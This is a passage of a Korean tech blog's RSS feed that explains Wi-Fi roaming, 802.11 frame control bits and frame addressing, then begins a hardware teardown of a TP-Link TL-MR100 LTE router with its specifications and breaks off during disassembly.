&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Roaming&amp;nbsp;in&amp;nbsp;the&amp;nbsp;Autonomous&amp;nbsp;AP&amp;nbsp;architecture&lt;/b&gt;&lt;/h4&gt;
&lt;div&gt;
&lt;div data-is-intersecting=&quot;true&quot; data-turn-id-container=&quot;request-WEB:81389051-b035-4576-895b-ca254ca04af0-10&quot;&gt;
&lt;div&gt;
&lt;div data-turn-start-message=&quot;true&quot; data-message-model-slug=&quot;gpt-5-5-thinking&quot; data-message-id=&quot;87cf9476-8e22-4765-a638-bc701a0b9f79&quot; data-message-author-role=&quot;assistant&quot;&gt;
&lt;p data-end=&quot;163&quot; data-start=&quot;73&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; Autonomous AP 구조에서는 각각의 AP가 독립적으로 동작한다. 중앙 컨트롤러 없이 각 AP가 자신의 설정과 연결된 클라이언트 목록을 직접 관리한다.&lt;/p&gt;
&lt;p data-end=&quot;327&quot; data-start=&quot;165&quot; data-ke-size=&quot;size16&quot;&gt;여러 Autonomous AP가 같은 SSID를 제공할 수도 있다. 이 경우 각 AP는 같은 SSID와 같은 보안 설정을 사용하지만 실제로는 서로 다른 BSS를 형성한다. 클라이언트는 이동하면서 현재 AP의 신호가 약해지면 더 좋은 신호를 가진 AP로 reassociation을 수행한다.&lt;/p&gt;
&lt;p data-end=&quot;327&quot; data-start=&quot;165&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;379&quot; data-origin-height=&quot;294&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zpihN/dJMcabK5XCn/WAlUtKDziZAo1a94wwlkZ1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zpihN/dJMcabK5XCn/WAlUtKDziZAo1a94wwlkZ1/img.jpg&quot; data-alt=&quot;클라이언트 이동&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zpihN/dJMcabK5XCn/WAlUtKDziZAo1a94wwlkZ1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzpihN%2FdJMcabK5XCn%2FWAlUtKDziZAo1a94wwlkZ1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;379&quot; height=&quot;294&quot; data-origin-width=&quot;379&quot; data-origin-height=&quot;294&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;클라이언트 이동&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-end=&quot;499&quot; data-start=&quot;329&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;예를 들어 클라이언트가 AP-1에 연결되어 있다가 AP-2 쪽으로 이동하면, AP-1에서는 클라이언트가 빠지고 AP-2에서는 새로운 클라이언트가 연결된 것으로 처리된다. 이때 클라이언트가 같은 IP 주소와 네트워크 설정을 유지하려면, 해당 SSID에 매핑된 VLAN이 모든 AP까지 연결되어 있어야 한다.&lt;/p&gt;
&lt;p data-is-only-node=&quot;&quot; data-is-last-node=&quot;&quot; data-end=&quot;643&quot; data-start=&quot;501&quot; data-ke-size=&quot;size16&quot;&gt;따라서 Autonomous AP 구조는 소규모 환경에서는 단순하지만, AP 수가 많아질수록 VLAN을 여러 AP에 걸쳐 확장해야 하므로 대규모 네트워크에서는 확장성 문제가 생길 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;510&quot; data-origin-height=&quot;183&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o8HOE/dJMcahxJL24/2FMH4XZhnjRpTKhSFKp5Hk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o8HOE/dJMcahxJL24/2FMH4XZhnjRpTKhSFKp5Hk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o8HOE/dJMcahxJL24/2FMH4XZhnjRpTKhSFKp5Hk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo8HOE%2FdJMcahxJL24%2F2FMH4XZhnjRpTKhSFKp5Hk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;510&quot; height=&quot;183&quot; data-origin-width=&quot;510&quot; data-origin-height=&quot;183&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; Roaming&amp;nbsp;in&amp;nbsp;the&amp;nbsp;Split-MAC&amp;nbsp;architecture&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;Split-MAC 구조에서는 AP가 독립적으로 동작하지 않고 Lightweight AP가 &lt;b&gt;WLC(Wireless LAN Controller)&lt;/b&gt; 와 &lt;b&gt;CAPWAP&lt;/b&gt; 터널로 연결된다. &lt;b&gt;클라이언트 입장에서 로밍 과정은 Autonomous AP 구조와 비슷하다.&lt;/b&gt; 신호가 약해지면 클라이언트가 더 좋은 AP를 찾아 reassociation을 수행한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;471&quot; data-origin-height=&quot;276&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmKTwQ/dJMcaiXD5hM/kzHX58tqTHOigrb1sk0hj0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmKTwQ/dJMcaiXD5hM/kzHX58tqTHOigrb1sk0hj0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmKTwQ/dJMcaiXD5hM/kzHX58tqTHOigrb1sk0hj0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmKTwQ%2FdJMcaiXD5hM%2FkzHX58tqTHOigrb1sk0hj0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;471&quot; height=&quot;276&quot; data-origin-width=&quot;471&quot; data-origin-height=&quot;276&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;차이점은 로밍 상태와 클라이언트 정보를 WLC가 중앙에서 관리한다는 점이다. Autonomous AP 구조에서는 SSID에 매핑된 VLAN을 모든 AP까지 확장해야 했지만 Split-MAC 구조에서는 클라이언트 VLAN이 AP가 아니라 WLC 쪽에 존재한다.&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;510&quot; data-origin-height=&quot;360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c5Pr4O/dJMcahLgzc8/tAackd0NXnnRexVtbcxROk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c5Pr4O/dJMcahLgzc8/tAackd0NXnnRexVtbcxROk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5Pr4O/dJMcahLgzc8/tAackd0NXnnRexVtbcxROk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc5Pr4O%2FdJMcahLgzc8%2FtAackd0NXnnRexVtbcxROk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;510&quot; height=&quot;360&quot; data-origin-width=&quot;510&quot; data-origin-height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5.&amp;nbsp;Wi-Fi의&amp;nbsp;프레임&amp;nbsp;구조와&amp;nbsp;통신&amp;nbsp;방식&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;앞에서는 Wi-Fi 네트워크가 어떤 구조로 구성되는지 AP가 어떤 방식으로 동작하는지, 그리고 클라이언트가 AP 사이를 어떻게 이동하는지 살펴보았다.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;이제는 조금 더 낮은 계층으로 내려가서 Wi-Fi가 실제로 데이터를 어떤 형식으로 주고받는지 살펴보자.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;802.11&amp;nbsp;Frame&amp;nbsp;Format&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;아래 그림이 IEEE 802.11 frame의 구조를 보여준다. 앞에 있는 &lt;b&gt;노란색 부분 (Frame Control)은 Frame type과 Network의 방향을&lt;/b&gt; 나타낸다. 또한 이 부분은 &lt;b&gt;&lt;span style=&quot;background-color: #ffffff; color: #3b3b3b; text-align: start;&quot;&gt;Ethernet frame에는 존재하지 않는다.&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;512&quot; data-origin-height=&quot;143&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVHavt/dJMcahLgNVI/19syOfgXkU1LaPEf7nk5DK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVHavt/dJMcahLgNVI/19syOfgXkU1LaPEf7nk5DK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVHavt/dJMcahLgNVI/19syOfgXkU1LaPEf7nk5DK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVHavt%2FdJMcahLgNVI%2F19syOfgXkU1LaPEf7nk5DK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;168&quot; data-origin-width=&quot;512&quot; data-origin-height=&quot;143&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 Frame control 필드에는 &lt;span&gt; To DS와 From DS라는 두 방향 비트가 존재한다. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp;이는 프레임이 AP 뒤쪽의 &lt;b&gt;Distribution System&lt;/b&gt;으로 향하는지 또는 Distribution System에서 나와 클라이언트로 향하는지를 나타낸다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;( &lt;b&gt;Distribution System은&lt;/b&gt;&amp;nbsp;AP 뒤쪽에서 여러 BSS를 연결하고 클라이언트 트래픽을 유선 LAN이나 인터넷 같은 다른 네트워크로 전달하는 네트워크를 의미한다.)&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;일반적으로 클라이언트가 AP를 통해 외부 네트워크로 데이터를 보낼 때는 To DS=1, From DS=0이 되고, 반대로 외부 네트워크에서 AP를 통해 클라이언트로 데이터가 전달될 때는 To DS=0, From DS=1이 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;527&quot; data-origin-height=&quot;176&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QhYgz/dJMcabEg3mH/b0DYmBzyXJejUosy37Lxtk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QhYgz/dJMcabEg3mH/b0DYmBzyXJejUosy37Lxtk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QhYgz/dJMcabEg3mH/b0DYmBzyXJejUosy37Lxtk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQhYgz%2FdJMcabEg3mH%2Fb0DYmBzyXJejUosy37Lxtk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;527&quot; height=&quot;176&quot; data-origin-width=&quot;527&quot; data-origin-height=&quot;176&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;두 비트가 모두 0인 경우는 AP 자체가 출발지 또는 목적지인 관리/제어 프레임 같은 경우이고 두 비트가 모두 1인 경우는 AP끼리 무선 백홀로 프레임을 전달하는 특수한 경우이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;518&quot; data-origin-height=&quot;157&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mq877/dJMcafGHEv3/5sE216tIFolWT0N1wvgap1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mq877/dJMcafGHEv3/5sE216tIFolWT0N1wvgap1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mq877/dJMcafGHEv3/5sE216tIFolWT0N1wvgap1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMq877%2FdJMcafGHEv3%2F5sE216tIFolWT0N1wvgap1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;518&quot; height=&quot;157&quot; data-origin-width=&quot;518&quot; data-origin-height=&quot;157&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;802.11&amp;nbsp;Frame&amp;nbsp;Addressing&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;아래 그림이 802.11 frame header를 보여준다. 그림을 보면 알 수 있듯이 802.11은 일반적인 이더넷 헤더처럼 Src MAC address와 Dst Mac address를 가지고 있는게 아니라 Address 1~4와 같은 주소 체계를 가지고있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;524&quot; data-origin-height=&quot;51&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbyQZ0/dJMcacpGvRe/BIZ2TnMGhL3ALi5b0kGq41/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbyQZ0/dJMcacpGvRe/BIZ2TnMGhL3ALi5b0kGq41/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbyQZ0/dJMcacpGvRe/BIZ2TnMGhL3ALi5b0kGq41/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbyQZ0%2FdJMcacpGvRe%2FBIZ2TnMGhL3ALi5b0kGq41%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;58&quot; data-origin-width=&quot;524&quot; data-origin-height=&quot;51&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 주소 체계를 가지는 이유는 주소 필드들이 상황에 따라 서로 다르게 사용되기 때문이다. 각 주소 필드의 값은 프레임이 어디로 향하는지 그리고 원래 송신자가 누구인지에 따라 달라진다.&lt;/p&gt;
&lt;p data-end=&quot;290&quot; data-start=&quot;112&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;290&quot; data-start=&quot;112&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;무선 통신에서 802.11 프레임은 항상 &lt;b&gt;무선 송신기(radio transmitter)&lt;/b&gt;에서 &lt;b&gt;무선 수신기(radio receiver)&lt;/b&gt;로 이동한다. 그래서 모든 프레임의 &lt;b&gt;처음 두 주소 필드(Address 1과 Address 2)&lt;/b&gt;에는 각각 &lt;b&gt;Transmitter Address, TA&lt;/b&gt;와 &lt;b&gt;Receiver Address, RA&lt;/b&gt;가 포함된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;463&quot; data-start=&quot;390&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;여기서 주의할 점은 이 주소들이 Ethernet의 Source MAC, Destination MAC과 같은 개념이 아니라는 것이다. &lt;b&gt;Transmitter Address&lt;/b&gt;는 RF 신호를 공기 중으로 실제 송신하는 무선 장치의 MAC 주소이다.&lt;br /&gt;&lt;b&gt;&amp;nbsp;Receiver Address&lt;/b&gt;는 그 무선 신호를 받아야 하는 무선 장치의 MAC 주소이다. 최종적인 Layer 2 목적지가 아니라 &lt;b&gt;무선 구간에서 직접 신호를 받는 장치&lt;/b&gt;를 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;Address 3&lt;/b&gt;은 수신자, 보통 AP가 최종 Layer 2 목적지가 아닐 때 &lt;b&gt;Destination Address, DA&lt;/b&gt;를 담는다.&lt;/p&gt;
&lt;p data-end=&quot;1794&quot; data-start=&quot;1619&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Address 4&lt;/b&gt;는 한 AP가 무선 링크를 통해 다른 AP에게 프레임을 전달할 때만 사용된다. 이 경우 Address 4는 원래의 Source Address나 Destination Address를 담고, Address 1과 Address 2는 프레임을 릴레이하는 AP들 사이의 RA와 TA 역할을 유지한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;6. 마무리&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 앞으로 무선 네트워크 공부를 본격적으로 하기 전에 Wi-fi의 구조를 간략히 정리해 보았다. 내용을 조금 생략했음에도 어려운 것 같다.. 나중에 심심할 때 Wi-Fi protocol의 인증 방식 및 취약점 등을 다룬 글도 올려보겠다.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reference:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.networkacademy.io/ccna/wireless&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.networkacademy.io/ccna/wireless&lt;/a&gt;&lt;/p&gt;</description>
      <category>Network</category>
      <author>haehet</author>
      <guid isPermaLink="true">https://haehet.tistory.com/35</guid>
      <comments>https://haehet.tistory.com/35#entry35comment</comments>
      <pubDate>Thu, 21 May 2026 23:27:43 +0900</pubDate>
    </item>
    <item>
      <title>TP-Link TL-MR100 LTE router 분석</title>
      <link>https://haehet.tistory.com/34</link>
      <description>&lt;p data-end=&quot;170&quot; data-start=&quot;37&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;최근 LTE 관련 디바이스의 구조와 공격 표면을 공부해보고 싶어서 &lt;b&gt;TP-Link TL-MR100&lt;/b&gt;을 분석 대상으로 고르게 되었다.&lt;br /&gt;이 공유기를 고른 이유는 LTE 라우터 중에서 가격이 비교적 저렴하고 구하기 쉬워 보였기 때문이다.&lt;/p&gt;
&lt;p data-end=&quot;310&quot; data-start=&quot;172&quot; data-ke-size=&quot;size16&quot;&gt;하지만 구하기 쉬울 것이라는 생각은 오산이었다... 생각보다 인기 제품이라 재고가 없었고 중간에는 이 제품을 사려다 사기도 당했다. 분명 TL-MR100을 샀는데 &lt;b&gt;TP-Link TL-MR100 Outdoor&lt;/b&gt; 제품이 도착했다. (3배 가격 눈탱이는 덤 하ㅏㅏ)&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;425&quot; data-start=&quot;312&quot; data-ke-size=&quot;size16&quot;&gt;어쨌거나 우여곡절 끝에 겨우 용산에서 재고를 구할 수 있었다.&lt;br /&gt;따라서 이번 글에서는 이 LTE 라우터의 하드웨어 구성, UART 인터페이스, LTE 모뎀, 내부 네트워크 구조를 중심으로 분석해보겠다.&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;425&quot; data-start=&quot;312&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. &lt;span&gt;TP-Link TL-MR100 외형과 기본 사양&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;먼저 외형은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ou6is/dJMcaciM81e/6VxUXOvo3wMyhXudfkkd5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ou6is/dJMcaciM81e/6VxUXOvo3wMyhXudfkkd5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ou6is/dJMcaciM81e/6VxUXOvo3wMyhXudfkkd5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fou6is%2FdJMcaciM81e%2F6VxUXOvo3wMyhXudfkkd5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;800&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-end=&quot;425&quot; data-start=&quot;312&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;425&quot; data-start=&quot;312&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;425&quot; data-start=&quot;312&quot; data-ke-size=&quot;size16&quot;&gt;또한 성능은 아래와 같다. (공식 사이트 기준이며 틀린 내용이 있을 수가 있다.)&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778942977638&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;| 항목 | 사양 |
|---|---|
| 제품명 | TP-Link TL-MR100 |
| 제품 유형 | 4G LTE Router |
| LTE 속도 | Download 최대 150 Mbps / Upload 최대 50 Mbps |
| Wi-Fi 규격 | IEEE 802.11b/g/n |
| Wi-Fi 대역 | 2.4 GHz |
| Wi-Fi 속도 | 최대 300 Mbps |
| 동시 연결 기기 | 최대 32개 Wi-Fi 기기 |
| 유선 포트 | 10/100 Mbps LAN 1개, 10/100 Mbps LAN/WAN 1개 |
| SIM 슬롯 | Nano SIM Card Slot |
| 안테나 | 탈착식 외장 4G LTE 안테나 2개 |
| 안테나 커넥터 | SMA-F 외장 안테나 인터페이스 2개 |
| 버튼 | WPS/Reset |
| 전원 | 9V / 0.85A |
| 크기 | 154 &amp;times; 114 &amp;times; 36 mm |&lt;/code&gt;&lt;/pre&gt;
&lt;p data-end=&quot;425&quot; data-start=&quot;312&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;425&quot; data-start=&quot;312&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;2. 기판 분해&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;tl mr 100은 기판 아래에 따로 나사가 없다. 또한 기판 연결이 다른 라우터들과 다르게 생각보다 약한 것 같다.(크기가 작아서 그런가) 별도의 도구 없이 힘으로도 기판 분리가 가능하다. 분해 후 모습은 다음과 같다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eqkZhw/dJMcaf7FHmn/llThKonK8HCTYbj2IH9QUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eqkZhw/dJMcaf7FHmn/llThKonK8HCTYbj2IH9QUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eqkZhw/dJMcaf7FHmn/llThKonK8HCTYbj2IH9QUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeqkZhw%2FdJMcaf7FHmn%2FllThKonK8HCTYbj2IH9QUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 